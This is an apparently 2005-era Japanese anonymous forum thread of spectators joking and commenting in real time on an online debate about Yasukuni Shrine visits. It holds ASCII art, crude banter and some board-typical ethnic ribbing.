ｷﾀ━━━━━━━(ﾟ∀ﾟ)━━━━━━━ｯ!!

ったく、東洋思想はﾈﾁﾈﾁと。。

っていうか、レフェリーの募集しただけやんｗ
何をそんなに目くじら立てるのか・・・

今日はハン板散歩（ごっつい久々に）
お祭りは楽しや、ハンファイ頑張れ。

>>422
自画像

　　　　　　　　　　　　　　 {｀ヽ　　 ,ｲ／7 ,r〜ｰ ､
　　　　　　　 　 ,.-､　　 　 ヽ .ヽ ///∠.. {..,__　　 }
　　　　　　　　/　　｀ヽ、　_,」 ! }7'//ｰ'フﾌ 　 ｀ ＜
　　　　　　　 ‘､ ヽ＼　 Y　 { |. l!〃／/´,. -‐　¬ｰ`- ._
　　　　　　　　　ヽ.ﾍ ヽ　ヽ　tl ﾉ／／／ ,. -‐¬ｰ- ._　 ｀ヽ
　　　　　　　　　　 ｀ji　}　 lｒクjr{'´ ／　/ __　　　　　 ｀ｰz_,　＼
　　　　　　　　　　　 {| {　 j{t込ﾝ／　／〃rﾊ　　　　　　　 ヽ 　ﾍ
　　　　　　　　　　　　{ｒヽ'￣｀`(___ノ､　 ヾ='ﾍ.7r=z、　　　　 ヽ,　ﾊ
　　　　　　　　　　 　 ｲ.-､　　　　　 　 ｀丶､　｀ヾ=ｲｭrz,　　 　 }　 t
　　　　　　　　　　　/ ! _｀ヽ　　 -'ニ_ｰ､　　_ヽ._ 　 Vtﾂr冖iヽ {.　 {
　　　　　　　　　　　　|i´{ﾊ　　　　　__ ｀ヽ　ヾ､､￣`ヽぐ″ l|　 ｀ｰ'′
　　　　　　　　　　 　 l ,, `’　　　 '´{'t;ヽ、　 iﾄゝ-ヽｰヽ.Ｙ　jl
　　　　　　　　　　　 f|　 r'　　　　　｀ｰ'′　 ﾘ r⌒i ト､ }ﾊ　ｉ|
　　　　　　　　 　 　 ,ﾊ　 ｀　　　　　''''　　　/ '＾.ノｲl|､{.ﾉ { i !l
　　　　　 　 　 　 　 i!liﾍ ヽ_ｰｧ　　　　　　,ｒr�_ｲ{ ヽヽｰ i| l ｌ|
　　　　　　　　　　　 |l!ｌ|!ヽ　　　　_, 　 '´　ド='ｲ},ハト ｀i　!　 l
　　　　　　　 　 　 　 }ｒ�d_｀フ爪　　　　　 ﾉﾊｉl{' |! {　ｉ ｌ!　! i�U
　　　　　　　　　　　　,r'´　,ｲi !l li　　　 ／ /∧ｌ!､rっ　!|l　 ! .ﾊ
　　　　　　　　　 　 / l 　 / !| !| |}　_／ ／. '//{ﾊ｀ヽ}　{ i! ､ﾍ ヽ
　　　　　　　　 　 / l j`ｰ/､.|.l |ｌ {_´. -'_／／ｲ ＾ヽ　 ＼{ {!　ヾt ヽ
　　　　　　　　　 ,′|{　/ 　 l l ! ､辷´‐_,／　　/　　ヽ.- Y{ヽ ﾍﾍ. }ヽ._
　　　 　 　 　 　 { ｉ! l!｀j ､　 ﾍヽ .ヽヽﾌ_　 ｀ｰ/､_ ／　　ヽ!{. ヽｰ{　!ｰ_＾ヽ
　　　　　　　 　 ﾊ l|｜ !　｀ｰ!､ヽヽ rr､_} _　/　／　　　　 } }　 ｀Y　}､ ヽ´}､_
　　　　　　　　 ,'　i ｌ j｀ト､　 !　　ヽ ゞｨ={t;ﾘ{ / ／/　　　 j }　 　 { ,ﾊ,}_　｀ゞ'
　　 　 　 　 　 i　　　l. l　 ｀Ｔｰ- ._|_ ｀7　 ｀リ'´／　　　　,!r}　　　{.ｲ ｀’
　　 　 　 　

ん〜リアルキャットファイトで

つまり観客席への書き込みはロビー活動だと

東洋・・・其処はキレる所じゃないだろ・・・
いいから始めろよ・・・

>>437
少なくとも彼（女）の心の中では、
誤解の産物とはいえ
二回の肩透かしを食ったことになっていますからねえ・・・。

>>439
自画像がこの間と違っているニダｗ

東洋思想の言うとおりにしたら、ハンファイなんて開けなくなるﾆﾀﾞね・・・
正直、頭のスペッku・・・・

(=ﾟωﾟ)ノ今までは○○で納得しませんかね？

開催キター！

ハンファイが始まるまで東亜+でニュースソースの回収作業に勤しんできます。

そろそろ始まるかなo((=゜ェ^=))o''ワクワク♪

つかとーよしそー嫌いｗ

俺は紫陽花殿を応援する方向で進行しまふｗ

>>439
うそつき！

そろそろバトルの開始みたいだな　ｗ

さすが、ネチネチとしつけー性格だな。

私的ぼやきですが、どうして左寄りの人たちは一言多いのかと･･･



東洋氏スミマセンorz　決して貴方のことは嫌いじゃないのですが･･･

皆さん、お茶ﾄﾞｿﾞー
　）　）　）
　（　（　（　　 　∧_∧
┌───┐ （　´･ω）　　从／
│　 　 　 ├ （つ旦と）──┐＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~
├───┤　`ｕ―ｕ'　. 　　│−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~
│　 　 　 ├──────┘＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~−＝≡旦~
└───┘　　　　　　　　Ｗ＼
─────　　　　　　　　　　　　　　　ﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞﾄﾞ
―――――――――――――〆

土俵外の裏工作や恫喝がデフォな連中ですからｗ

(=ﾟωﾟ)………きれすぎ

>>450
気分としてはわかるﾆﾀﾞが・・・宣言するのは、ちとまずいと思うﾆﾀﾞ。

>>439
俺、神眼持ってるから。

AAはやめてくれ〜

面白そうですね。。ﾜｸﾜｸ

>>453
ageてるホモ侍始めてみた希ガス

お、ハンファイやるﾆｶ？
見物、見物。

東洋みたいのをﾈﾁﾈﾁｽﾞﾝｽﾞﾝっていうんだな。

更年期障害？

>>457
これが、いつものスタンダートな東洋だから。

>>465
低容量ピルの副作用かと・・・

>>450
心情的は応援はともかく、表明はちとヤバいでしょうよ…

>>466
てことは開始前にまたネチネチ話し始めるな

がんばれー滅田ニム。
たぶん、大荒れになるﾆﾀﾞ・・・

(=ﾟωﾟ)旦~~さてどうなることか

やっと始まった

正式にスタート！

ま、じっくりヲチしますかな

観客席はage進行なのか？

日中韓友好よりよっぽどましな気がス＞東洋思想

長引きそうかな？

>>467
ピルでもそのやうな症状が出るのですか?

俺は東洋は男だと思うがなぁ。なんとなく。
まぁ、それはともかく始まったみたいだぁね。

初めてのハンファイ見物ニダｗ

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   荒れそうな予感
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

ｲﾀﾀｸﾆﾀﾞ。
つ【緒川たまき】



さいきん、嘘つきDVD作ろうと思ってる俺ｶﾞｲﾙ。

祝★生ﾊﾝﾌｧｲ初観戦
はやく〜じらさないで〜

>>479
ねーよｗｗｗｗ

>>476
そりゃ、穴ボコより低い地面はないニダよ。

話変わるけど　東洋思想と日中韓友好って　同じスレにいたことあったっけ？

>>458
>>468
まずいかのう・・・次は気をつけるわ〜。

>>479
俺も男だと思う。
確信はないけど。

ゴング鳴った━━━(ﾟ∀ﾟ)━━━!!!

笑日大臣 ◆se5gBvpyCM　永久追放ﾜﾛﾀ

>>486
何度かあった希ガス。でも日厨閑はチキンだからすぐ消えるしｗ

勝負つくまで延々とやるの？

紫陽花氏が女だとは今まで気が突かなかった。

乳頭の色は何色なんだろう？

そういや最近東亜行ってないな・・・

>>488
鳴ってない！！！

ところで観客席は age sage どっちがいいと思う？＞ハン板諸氏

>>492
少なくとも、俺のはベージュ＋ピンクの混合色さ。。。

ええええ
厳しい。
3回しか発言できないの？へぇ〜〜。

各２回の弁論と各１回の最終弁論で各発言の時間は１０分

>>494
m（_ _）mこりゎ失礼

>>490
�d　おいら日中韓友好のアレが好きでファンになってしまったのだが・・・

>492
( ﾟ∀ﾟ);y=ｰ（´々｀）･∵.ﾀｰﾝ

いままでの東洋を見てると3回でまとめる事ができるのかが心配…。

(=ﾟωﾟ)ノ二人とも女性ナリ！絶対そうナリ！！

>>500
アレとはどれのことニカ？ｗ

>>497
両者の同意で５回＋最終弁論のパターンもあったけど。

>>504

ひゃっほう！キャットファイト！

>>505
ね？
なんか昔はもっとたらたら（って言い方が悪いかｗ）やってた記憶があるよお。
すっかり浦島花子やな〜、うちｗ

正直東洋は弁論回数増やすように要求すべきだろ

双方了解完了

回数が少ないと後攻のほうが有利のような気がする。

同意かよ

>>455
いただきます。　つ旦~ 遠野秋葉・藤林杏

>>506
う、ウリニカ？ｗ

3回はなんか少ないような気も。
5回ぐらいが適当かと思うけど。

はじまるよーですね。
自分はまわりがうすちゃでさきっちょぴんく

本ヌレに書き込みｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!

さて始まったか・・・

嗚呼、別にうちは、発言回数に異議を唱える為に発言したわけぢゃあないからね！！
誤解しやんでね・・・(･c_･`)

>>513
私は、シエル先輩派なんだが・・・　ｗ

>>508
そこらへんは試合終了時間の兼ね合いもあったはず。
今回は両者同意だからね〜

三回か…グダグダで終わりそうだな。

>>504
いや　いつもの勘違いと言うか　飛躍し過ぎの上　給湯当番で勝利宣言するヤツｗ

いきなり観客がなだれ込んだようで（＾＾ヾ

>>520
つ【カレー】

エロｺﾃ三人組、居なくて良かった…

ID : exAreOcu
どうかな？　おなじみのハンファイ荒らしか？

>>526
アナル軍曹は分かるとして、あと二人は誰だ？

(=ﾟωﾟ)ノあげ進行ﾆｶ！？

>>529
ハンファイ荒らしもあるんだけど…
どうしましょうかねぇ…

を？発言がとまったぞ？

>>528

つ陸奥ﾀｿの竿のﾀﾀｷ

つ呂-50ﾀｿのﾀﾏの唐揚げ

ついやはやﾀｿの肝臓のﾚﾊﾞ刺

>>530
基本的にsageでいいような気もしまつが、どうでそ？

東洋まだぁ？（・∀・ ）っ/凵 ⌒☆ﾁﾝﾁﾝ

>>532
｀;:ﾞ;｀;･(ﾟεﾟ )ﾌﾞｯ

レフェリー、いろいろコピペして頑張ってるのかな。

>>530
(=ﾟωﾟ)ノではｳﾘはsageでいきます

準備済みかよｗ

開始キター！

眠れずに覗いてみたら・・・、今からかぁ！

>>533
開始後は、ageてると本スレの方にも湧くかもしれんし、ここもsageでよかないかね。

>526
ﾛﾘの人とｱｽｶの人と陸奥のひとですか?

>>533
私個人としては試合が始まったんで sage でいいと思います。

ゴングｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!

>>520
棲み分けができていて何より。w

しかし桧山が在日という話は本当かいな？
東亜+にはスレが立ってなかったが。

さて、始まったようですな。

鳴った〜

>>540
間に合ったな　ｗ

主張−＞相手への反論−＞再主張＆再反論、で３回。結構、シビア。
論点ずらしたり、漠然とした主張する方が負けるってことになるんだろうな。

確かに後攻は有利。反論の機会が３回になるからな。

>>497
小魚おひさ(=ﾟωﾟ)ﾉぃょぅ

本スレﾜﾛｽｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

会場どこ？

速いな、あらかじめ用意済みか。
しかし、それにしても内容が薄い・・・。

紫陽花氏、ﾌﾗｲﾝｸﾞ気味だけど、ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

東洋の出番ｷﾀﾜｧ*･゜ﾟ･*:.｡..｡.:*･゜（n‘∀‘)ηﾟ･*:.｡..｡.:*･゜ﾟ･* !!!!!

森と林の区別もつけられずに偉そうに植林を語るアホが登場したので、からかっている。
あっちで。

>>551
★ハングルファイト専用スレ 6★
http://society3.2ch.net/test/read.cgi/korea/1108726335/

あと、できれば sage でお願いします。

>>551
http://society3.2ch.net/test/read.cgi/korea/1108726335/l50

そういえば、この間、私は東洋思想と４時まで議論していたな・・・
しかも、今回と同じテーマで・・・

このまま東洋こなかったりして

>>545
朝鮮日報に記事あるよ。

ttp://japanese.chosun.com/site/data/html_dir/2004/01/20/20040120000035.html

まあ初めは様子見？といっても3回しか手持ちが無いからねぇ。

>>560
ん、それを見ての話でして。

>>558
乙であります。これをどうぞｗ

つ【韓国産饅頭】

(=ﾟωﾟ)ふもふも

>>559
奴に限ってそれは無い、と言い切ってみる。

>>563
また、バイオテロしているﾆﾀﾞ・・・

最近はﾊﾟｲﾃｨｨｨｨｨｨﾝ言わないのね(･ω･)

>>563
埋めるぞ、コラァ！！　ｗ

あと5分か…

BC兵器キターｗ>>563

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   バイオテロ発生中･･･キムチハザードがっ
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

まぁ、内容が薄いと言う事は、反論する側も焦点を絞りやすく、反論の内容も推測できやすい、それに伴い再反論もシュミレーションできると言う事を考えると内容が薄いのは罠という可能性もあるか。

うーん・・・東洋氏、あれだけ時間があったんだから
主張をまとめとくとかいう準備をしときゃいいのになあ。
とりあえず箇条書きにしとくだけでも違うだろうに。

紫陽花、随分あっさりとした論述だったな。

>>569
いつも思うのですけどね・・・・。
先攻側に対して反論側が不利だと思うのですよね・・・。
特に第１回目の弁論は・・・。
持ち時間が・・・。

東洋って無駄に長文が得意だよなw

ウリは、紫陽花ニムをよく知らないﾆﾀﾞが、どんな人物ﾆｶ？
東洋思想は、嫌と言うほど知らされたﾆﾀﾞ・・・orz

>>573
私の場合は、『ノリと勢い』で書き込んでいるんだが　ｗ

いつも脇には『七面鳥』がいるしね　ｗ

普通に考えたら東洋の反論は感情論しかないだろうな

(=ﾟωﾟ)ノ最初はｱｻｰﾘのほうが反論しやすいでないかに？まだかなー？

>>578
スーパー至極がいつも脇にあるのか。

一回目の弁論は反論というより自分のスタンスの確認、見たいな野で良いと思うんだけどね。

タイムアップか！？

1分ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!

>>577
東亜のピラニアコテニダｗ彼のせいでホロン部が何匹か頃されてしま
ったニダよｗ

あと１分切った…

>>575
最初に双方の意見を一回出させてから
ファイトってのも考えられますが…
根本解決にはなりませんしねぇ。

このまま時間切れかい？それともただの減点かい？

>>575
どうニカなぁ・・・
一回目はとりあえず、自分の意見を主張するのではないﾆｶ？
互いの反論は二回目以降で・・・

こちらで時間計測しておりまして・・・。

つきましては皆様に
１分に１回程度の書き込みをお願いできますれば・・・。

東洋キターｗ

反論ﾏﾀﾞｰ？

>>575
今回は30分猶予がもらえて何もしてなかったっぽい
東洋思想氏のほうに難アリって気がしますが。
減点対象じゃないですが。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   時間･･･
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

>>585
紫陽花殿は「彼」ではなく「彼女」ではＷ

反論ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!

>>548
あ、縄文さん、めーっけ！おひさぴこ。
確かにシビアだよねえ。別に異論はないけどねｗ（ひつこいｗめんどくさくなるの嫌いｗ）

>>549
見たことある顔文字さんが・・・おひさだいょう！

なが！！読むだけで時間食うゾ。

>576
なんつーか、ラビットパンチなんですよね。

ちょっとﾏﾃ
これは反論じゃなくて主張じゃまいか？＞東洋氏

長っ！w

>579
そもそもが正当性が無いことをしてるのだから、感情論しかないだろうねぇ・

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   長いよ･･･しかも読みづらいｗ
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

　　　　　　　　　　　　　以降テーマが国益に代わります

東洋ﾀｿ…ちょっとグタグタ過ぎでないかい…

>>604
いつか見たパターンだな・・・

しかし、無駄に長いな　ｗ

少し改行してホスィ。。。

おおー、
見事に、東洋思想の反論文には、句読点が一つもない！

内容がオカラと同じ…

お、東洋氏がきた。長文作ってて時間を食ったのか。

＞全国戦没者追悼式が追悼対象にA級戦犯は含んでいるにも関らず
＞中韓から公式に何ら批判されたことがないという事実

これは諸刃の剣ということを気づいてないといかんが。w

>576
あ、すんません。>599はメッタ斬りさんへのレスですた。

無駄に長すぎw

＞A級戦犯者を合祀している神社に参拝をするのか
＞その矛盾点を明確たる根拠を諸外国に説明することなく

そもそも説明する義務自体がないし

いつも道理だ、問題ない（ｗ

最初から自爆・・・？

結局何が言いたいのかよくわからん…

あれって反論なのか？
紫陽花の意見を度外視して、自分の主張を言っている様に見えるが…。

つっこみどころ満載？

いきなり指摘ﾜﾛｽｗｗｗｗｗｗｗｗｗｗ

(=ﾟωﾟ)うはっ東洋たま初めてみたけど、すげっwwwwwwwwwwwwwwwwwww

ちょっとファビョり気味？

>全国戦没者追悼式が追悼対象にA級戦犯は含んでいるにも関らず
中韓から公式に何ら批判されたことがないという事実

この辺りで、靖国に文句つけてるのが筋違いだと暴露しとるがなw

しょっぱなからいい味だしてるな＞東洋

>>617
アレがいつものとーよーしそー。

てか　東洋思想って靖国参拝自体は　良いとか言ってなかったケ?

>>604
いつものパターンだと、日本の国益は何というレスに答えない東洋という展開だな。

無駄に長いﾆﾀﾞなぁ・・・
他人に何かを伝える気が全く見あたらない上に、
小難しい表現を使った方が偉いと考えているﾆｶなぁ・・・
左巻き典型ﾆﾀﾞねぇ・・・

私的ぼやきですが･･･どうして左寄りの人たちは以上ですをつけないのかと･･･



東洋氏･･･頑張れ･･･

読みヅライ；；；

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   えー、典型的ﾃﾞﾑﾊﾟの主張と全く一緒な気が
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

誰か3行ぐらいにまとめてくれないかｗ
読み辛いよ、アレ

どこかで見たような流れだと思ったら
この前、東亜に貼られてた鬼女板でも
同じように靖国問題の討論してたの思い出した。

そもそも自国が加担した戦争を「侵略戦争」と定義したことのある国があるのかと…
それにいつから靖国が軍国主義の象徴になったんだ？

つーか電波を飛ばさない参拝反対意見って思いつかないんだが

なんか討伐人を連想させるなあ…東洋思想

東洋思想の弁論には論理構成が何も無いな・・・
まるでフランクの『交響曲』みたいだ　ｗ

紫陽花の初回弁論も内容が薄いが　ｗ

>>621
いつもこんな感じだ。まだファビョってない。

>>626
しかしそっちに論点がずれるのは見たくないな。
紫陽花氏が修正というか論点を絞ることに期待。

諸兄にお尋ねします。

東洋思想氏に末尾の「以上」をつけることをあらかじめ勧めず、
紫陽花氏にあらかじめ注意した私の行為は、

いささか不公平ではないのでしょうか？

>>597
おひさっても、実況スレでこの前あっただろｗ


予想通りというか、長文に論点満載できたなｗ＜東洋思想
反論に１０分しか使えないのはつらい。

なんだかわからないけどここにおいておきますね

http://blog.livedoor.jp/toyosisou/

>>639
まあ、大丈夫でしょ。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   戦没者追悼って無宗教行為だと思ってるフシがあるような感じるのだが
l　　 ⊃　⌒_つ       　追悼という行為そのものが宗教行為だ罠
 `'ｰ---‐'''''"     

ぶっちゃけ、勝手な解釈の押し付けが多い希ガス。。。

法的根拠を言う場面を見た事がない気が＞とーよー

>>627
相手に伝えようと言う姿勢が感じられないですね。
んー。

>>639
そこまで深刻に考えなくてもいいのでは？

紫陽花氏の最初の発言も結構飛んだ部分があるんだけどなぁ…
そこは全く見ていないようですね。

>>632
東洋思想は自分のHPに掲示板持っているﾆﾀﾞから、
そこからの引っ張りではないﾆｶなぁ。
ちなみに、ぐぐれば一発ﾆﾀﾞ。

お！ハンファイ真っ最中ですか？

じっくり見させてもらいますか。

>>639
試合会場での進行役の書き込みは、両者へ向けてると考えるべきでしょう。
それに従わなかった東洋思想氏の手落ちと考えるべき。

ブラジル戦までもう少し楽しませてホスイ

>>639
それくらい別にいいのでは？

盛り上がってる。

まあここであがってる矛盾点を紫陽花ﾀｿが何処までつけるか、だねぇｗ
たまに東亜に出張した時に紫陽花ﾀｿを見るが・・・果たしてどうなるか。
東洋はいつも脳内スルーだけど。

748 ：東洋思想 ◆AVUttoyOvA [sage] ：2005/06/23(木) 00:19:20 ID:qNqVbV3C
>>745
了解です

以上終了です

を忘れないようにしますね＾＾

>>639
内容に触れてないし、採点に関係ないので問題ないかと。

>>636
初回弁論は、反論の焦点を絞りやすくする為の罠だったと俺は思ったが、反論がアレでは意味無かったな。

あっちのハンファイトは低レベル荷駄。
互いに相手をチョン認定しあって、さてどっちが本物のチョンなんでしょう？

>639
問題ないと思います。

>>639

専用スレ>>840で行ってないﾆｶ？＞注意
さきに、たまたま紫陽花氏が投稿したように見えるのですが
あと、東洋氏は前もって言ってあるのに「以上です」を付けなかったし･･･

問題ないかと

>>639
特に問題にはならんでしょ。
東洋思想が他人の発言を注意深く読んでいるなら、
それがルールだと気づくはずだから。

>>642,647
ほか諸兄、ご意見ありがとうございます。
>>639
の件は、ぜひ最終ジャッジの時にご検討くださいませ。

＞今こそ見直すべきではないかと考える

いま必要なのは政権交代ではないか？

とﾃﾞｼﾞｬﾌﾞするﾆﾀﾞ

>>639
確か最初にレフリー受けた人が東洋に念を押してたでしょ。

748 ：東洋思想 ◆AVUttoyOvA [sage] ：2005/06/23(木) 00:19:20 ID:qNqVbV3C
>>745
了解です

以上終了です

を忘れないようにしますね＾＾

>>639
お互い、ルールは読んでるでしょ。
東洋思想氏の手落ちなだけ。

>>639
専用スレ>>838で名言していますし。

そろそろ第二回クルーｗ

なーんだか、このまま平行線でお互い言いたいこと言い合って終わりそうな気もするニダ・・・

あれ？靖国っていままで多くの国々の官僚や大使が参拝してなかったっけ？

>>663
実は東洋思想の中の人はお遍路さんだったんだよ!!

３回じゃ、ちょっとみじかかったかもしれず・・・

最初に出すファール判定は、私はここまでをファールとしますよという審判の意思表示でしょ。
どっちに向けられたものかは問題とならないと思うよ。

しかし、つっこみどころ満載で困ってるだろうなぁw

>>648
ごめん、ちと言ってる意味がわからない。

「以上です」
こだわる理由は・・・・・。
以前ハンファイ相手がつけ忘れをしたので・・・・・。
弁論タイミングを測りかねるんですよね・・・・。

今日は妙な荒らし電波が来ないね

>>670
他にも各国の軍人が練習航海等のときに参拝されておりますよ。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   >>670　いろんな団体が公式参拝してる、米軍とか表敬訪問の際に来る事も多い
l　　 ⊃　⌒_つ       　　　　　　ドイツ公使は離着任のたびに参拝してるとか
 `'ｰ---‐'''''"     

時間切れ近いな

>>675
むう、済まないﾆﾀﾞ。
東洋思想自身のHPで靖国参拝に付いて、いろいろ語っていた、ということﾆﾀﾞ。

ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!

上手く持って行ったな

紫陽花の反論がどの様になるか楽しみだ。

>>675
横レスで翻訳
東洋思想氏は自分でBBSを持っているから、
そこに過去に氏が書き込んだ文章を今
コピペしているのではないか？

>>670
してる、日韓併合前後写真館てＨＰに一覧と写真があるよ。

10秒くらいしか残ってなかったなｗ

>>671
(；･｀д･´) !? (｀･д´･(｀･д´･；) ＜ﾅ､ﾅﾝﾀﾞｯﾃｰ!?

NHK BSディベート・日韓の課題　Part 14
http://society3.2ch.net/test/read.cgi/korea/1119266809/
の　
ID:QG+1o5YC＝東洋思想 ◆AVUttoyOvA
ですか？

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   あじさいﾀｿわざと突っ込み所残して発言してないかい?
l　　 ⊃　⌒_つ       　　これの方式に慣れて無いってのもあるんだろうけど淡白な書き方だな
 `'ｰ---‐'''''"     

>>681
こちらこそ読み取れなくてスマソ。
面白そうだから行ってみるわ。

間に合って良かった

東洋思想氏”、”の無い長文は読みずらい・・・・

それにしても。またＡ級戦犯か・・・・刑の執行された時点で、罪の清算は終了してるのだが

そこを東洋が法的根拠でかわせないと、勝機は無さそう・・・まぁ、靖国参拝反対派の陥る、
そしてまともに克服出来ない何時もの問題の一つに過ぎないが

>>672
東洋のあの文体では、反論するにも読みづらいしなあ…。
あと2回で反論するのは、ちょっとキツイかもね。

東洋さんは文末に「。」を付けないのだね。

(=ﾟωﾟ)ノ紫陽花たま分かりやすいﾅﾘ！

紫陽花氏、2回目の弁論。
ま、あんなもんかな。うまく軌道を保ってる。

ぐは！！なんちゅー淡白な。
焦点を絞りやすいようにする罠ではなさそうだな…。
価値観の違いですませおった。
もぅ少し太らせて欲しかった。

>>689
改行の仕方があきらかに違う

次で総括かぁ
１回噛合わないと議論が成り立たなくなるな…

あ、敬称付け忘れました・・・・。

１０分で、あの長文に反論はきついものがあるなぁ

紫陽花氏にはがっかりだな。

役不足。

>>700
（＾ω＾；）

>>695
分かりやすいんだが、価値観を問題として取り上げるのなら、
それに対する論理補強もするべきだったかな・・・

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   >>694　俺もあんまり句読点使わん派なのよ
l　　 ⊃　⌒_つ       　　　　　　でもあの文章とは何かが違う･･･やっぱケムに撒こうとしてる部分があるのか、あの文章には
 `'ｰ---‐'''''"     

>>685
ども。
自分のBBSのカキコを鬼女板の論戦でも使ってるってこと？
何にしろ面白そうなのでHP見てきます。

紫陽花女史も東洋思想女史も元気だな♪オイラは､お二人の､お肌が心配だ。

今北産業

まあ、うまく戻したというべきではないﾆｶ？
不特的多数に伝える場合は、どうしても文章は簡素にせざるを得ないﾆﾀﾞし・・・

>>685
カムサハムニダ。

>>687
時間チョイオーバーの場合には、減点ﾆｶなぁ・・・

あ、始まってた・・・

う〜ん、、やっぱり東洋相手に3回は難しそうだなぁ。。

>>702
役不足とは、
実力に比して役割の程度が低いことを表すのｄ（ry

今日はリングにいつものバカが出ないな。


ウリはそろそろ寝ます　ﾉｼ

>>700
心労多い中のアクシデントです。
無問題かと…

>>678
>>679
>>686
返答感謝ニダ

>>702
(=ﾟωﾟ)ノそれは紫陽花たまを誉めてるﾅﾘね！！

最大の突っ込みどころを積み残したのは？？？＜紫陽花

>>702
それ間違った使い方でないニカ？

>713
おやすみん

むむ、紫陽花有利と見ていたが、紫陽花もグダグダになって分からんようになってきた感じがする。

>>702
まあ、そう言うなって　ｗ

次のターンで最終弁論か…
かみ合わないで終わりそうだな

>>702
役者不足の間違いでわ。

>>713
ﾉｼ

>>713
乙です　ノシ

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   正直討論になってるのかなぁ、という部分には疑問が
l　　 ⊃　⌒_つ       　噛み合わなすぎ
 `'ｰ---‐'''''"     

>>713
おやすみ〜

よい夜を。

>>713
オヤスミニダｗ

>>713
ﾉｼ

>>713
ﾉｼ

＞日本では犯罪者ではありません。

戦後に全会一致で名誉回復されたってことも付け加えれば良かった希ガス

>>705　たれっ子、オバカに見えるから句読点ぐらい打ちなさいよｗ

>>713
熨斗

>>702
その誤用はわざとだよな？

でも紫陽花タンの反論は上手いと思うよ。
靖国神社や戦犯の解釈による参拝の「善悪」ではなく、
単純に参拝行為に対する中韓の外交手法に論点を
もって行ってるじゃん。

>>６８５
東洋は、長文というか蛇足が多すぎるな
独演会的なレスならともかく、ハンファイで・・・と思ったが、そういう事か

(=ﾟωﾟ)ノこういうのは箇条書きで反論させたほうが、勝敗つきそうだね

>>726
なら、マラカナンみたいにここで『草サッカー』を始めるか？　ｗ

>>704
論点が散りかけてたから、こうやって一旦あっさり流すのもテかなと思いますよ。
まあ今回は弁論回数の制約がなー・・・。

つーか東洋って東亜でピラニアに食われてる時もこのペースだよな

>>713
サカーは見ないの？

>>731
そこは気になった。
現状ではA級戦犯という定義は無いって言っても良かったと思う

役不足の誤法は２ちゃんの定番ニダ。

あと二分…

うーん、価値観の違いを「参拝して」わからせるのでは単に反発招くだけだなあ。

外交会談や、メディアなどを駆使して、
「参拝する意味」を主張するべきだと思うけどね。

それでも聞かない、理解しないならば、「その他の国」に説明して外堀を埋めていくべきかな。
ちょっと、紫陽花ﾆﾑの反論は弱いね。

>>743
工ｴｴｪｪ(´д｀)ｪｪｴｴ工

そろそろカウントダウンの時間ですかね・・・。

東洋思想氏の反論次第だよな

(=ﾟωﾟ)ノｳﾘのようなﾊﾞｶには紫陽花たまはわかりやすくて助かります

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   >>732　クセってのは中々直らんねぇ･･･1バイトでも減らそうと省略するクセが
l　　 ⊃　⌒_つ       　　　　　　昔は長文書き捲くってたしｗ
 `'ｰ---‐'''''"     　　　　>>738　無理w

また長文なのかなぁ・・・。

これまたどでかいのがｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!

>>713
おやすみ。ﾉｼ

>>736
む、東洋が個人BBSを持っているのはｳﾘも知らなかったﾆﾀﾞ。
ただのお節介で説明しただけなので（ｒｙ

キター

ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!


しかし読みづらい…

よみづれぇ…

読むのもウザい・・・

だから長いって。。。。


区切ってくれ。。。

ながい！ながいよ！！

うわ、人に理解してもらおうという気が0ﾆﾀﾞ・・・

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   議論になってねぇ･･･東洋の椰子自分の主張繰り返すだけじゃん
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

長っ！w

参拝する意味なら一応説明していると思うんだが
結局受け入れて貰えないだけで

(=ﾟωﾟ)………毎日のｱﾝｹｰﾄが世論ﾆｶ？

ＨＡＨＡＨＡ！！
価値観の違いにまったく触れていない！！
完全スルーだぜ！！吃驚だ！！
ハングルファイトに出ても、いつもの東洋だなまさしく。

あぁ…また「以上」無しかよ。　１回指摘されてるのに…

これは・・・・・
反論なのか・・・？ｗ

翻訳ソフトないか？

いまんとこ紫陽花氏が相手に突っ込みいれる姿勢見せただけ有利か？

この変な改行は何？

>神社が問題になっているのに「仏様」と宗教的に間逆の発言をしている点と
ちょっと待てやｺﾞﾙｧ

これは反論？ただいいたいこといってるだけじゃないの？

読みづれぇぇぇぇぇぇ！

そんで、また以上ですって書かないのね。

>>731
ちょっと物足りんかな。
SF条約に則って連合国11カ国に赦免を願い出て受け入れられた、
まで書けるとベスト。

つか、何かのコピペ？？？

東洋思想　やはり諸各国とかアジア諸国を持ち出してきたかｗ
それにしても　自分の主張を通しているだけで　全然反論になっていないような希ガス

東洋思想氏は
ttp://ratio.sakura.ne.jp/archives/2005/05/27101755.php

